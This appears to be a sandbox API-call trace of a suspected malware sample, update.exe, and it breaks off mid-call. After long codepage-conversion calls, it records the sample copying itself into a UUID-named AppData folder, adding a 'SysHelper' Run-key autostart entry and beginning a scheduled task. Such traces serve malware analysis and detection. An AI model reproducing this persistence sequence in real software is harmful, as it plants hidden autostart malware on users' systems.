!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f804 | out: lpCharType=0x18f804) returned 1 [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0040.262] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0040.263] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0040.263] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f328, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0040.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x32\x42\xf2\x1c\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0040.263] GetLastError () returned 0x0 [0040.263] SetLastError (dwErrCode=0x0) [0040.263] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0040.263] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f558, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0040.263] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0040.263] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18f348, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0040.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x32\x42\xf2\x1c\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0040.263] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0040.263] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c0db) returned 0x40972f [0040.265] GetCurrentProcess () returned 0xffffffff [0040.265] GetLastError () returned 0x0 [0040.265] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0040.266] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f9c | out: phkResult=0x189f9c*=0xbc) returned 0x0 [0040.266] RegQueryValueExW (in: hKey=0xbc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x189f90, lpData=0x18b070, lpcbData=0x189fb8*=0x400 | out: lpType=0x189f90*=0x0, lpData=0x18b070*=0x0, lpcbData=0x189fb8*=0x400) returned 0x2 [0040.266] RegCloseKey (hKey=0xbc) returned 0x0 [0040.266] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76670000 [0040.266] GetProcAddress (hModule=0x76670000, lpProcName="SHGetFolderPathW") returned 0x766f5708 [0040.266] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " [0040.266] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" ", pNumArgs=0x189fd4 | out: pNumArgs=0x189fd4) returned 0x95d090*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0040.266] lstrcpyW (in: lpString1=0x18b870, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0040.266] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="update.exe" [0040.267] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18a070 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0040.272] UuidCreate (in: Uuid=0x18a018 | out: Uuid=0x18a018) returned 0x0 [0040.272] UuidToStringW (in: Uuid=0x18a018, StringUuid=0x189f94 | out: StringUuid=0x189f94) returned 0x0 [0040.273] RpcMgmtStatsVectorFree (in: StatsVector=0x189f94 | out: StatsVector=0x189f94) returned 0x0 [0040.273] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="544c4f6e-08e8-406f-ae98-d88505d8a2e3" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3") returned 1 [0040.273] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3"), lpSecurityAttributes=0x0) returned 1 [0040.274] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3", pMore="update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0040.274] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0 [0040.274] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe"), bFailIfExists=0) returned 1 [0040.290] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x189f98 | out: phkResult=0x189f98*=0xe0) returned 0x0 [0040.290] lstrcpyW (in: lpString1=0x18a870, lpString2="\"" | out: lpString1="\"") returned="\"" [0040.290] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0040.290] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart" [0040.290] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart") returned 105 [0040.290] RegSetValueExW (in: hKey=0xe0, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", cbData=0xd2 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart") returned 0x0 [0040.290] RegCloseKey (hKey=0xe0) returned 0x0 [0040.290] CoInitialize (pvReserved=0x0) returned 0x0 [0040.560] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0040.564] CoCreateInstance (in: rclsid=0x441d3c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x441cbc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x189f48 | out: ppv=0x189f48*=0x3df608) returned 0x0 [0040.892] TaskScheduler:ITaskService:Connect (This=0x3df608, serverName=0x189e40*(varType=0x0, wReserved1=0x0, wReserved2=0xe0, wReserved3=0x0, varVal1=0x7786f9d0, varVal2=0x778701b4), user=0x189e50*(varType=0x0, wReserved1=0x90, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x5f), domain=0x189e60*(varType=0x0, wReserved1=0x0, wReserved2=0x9f70, wReserved3=0x18, varVal1=0x189f04, varVal2=0x4143c7), password=0x189e70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95f1d0, varVal2=0xd2)) returned 0x0 [0040.895] TaskScheduler:ITaskService:GetFolder (in: This=0x3df608, Path="\\", ppFolder=0x189f54 | out: ppFolder=0x189f54*=0x3df670) returned 0x0 [0040.896] ITaskFolder:DeleteTask (This=0x3df670, Name="Time Trigger Task", flags=0) returned 0x80070002 [0040.896] TaskScheduler:ITaskService:NewTask (in: This=0x3df608, flags=0x0, ppDefinition=0x189f58 | out: ppDefinition=0x189f58*=0x3df6b0) returned 0x0 [0040.904] TaskScheduler:IUnknown:Release (This=0x3df608) returned 0x1 [0040.904] ITaskDefinition:get_RegistrationInfo (in: This=0x3df6b0, ppRegistrationInfo=0x189f24 | out: ppRegistrationInfo=0x189f24*=0x3df770) returned 0x0 [0040.904] IRegistrationInfo:put_Author (This=0x3df770, Author="Author Name") returned 0x0 [0040.904] IUnknown:Release (This=0x3df770) returned 0x1 [0040.904] ITaskDefinition:get_Principal (in: This=0x3df6b0, ppPrincipal=0x189f38 | out: ppPrincipal=0x189f38*=0x3df900) returned 0x0 [0040.904] IPrincipal:put_LogonType (This=0x3df900, LogonType=3) returned 0x0 [0040.904] IUnknown:Release (This=0x3df900) returned 0x1 [0040.904] ITaskDefinition:get_Settings (in: This=0x3df6b0, ppSettings=0x189f40 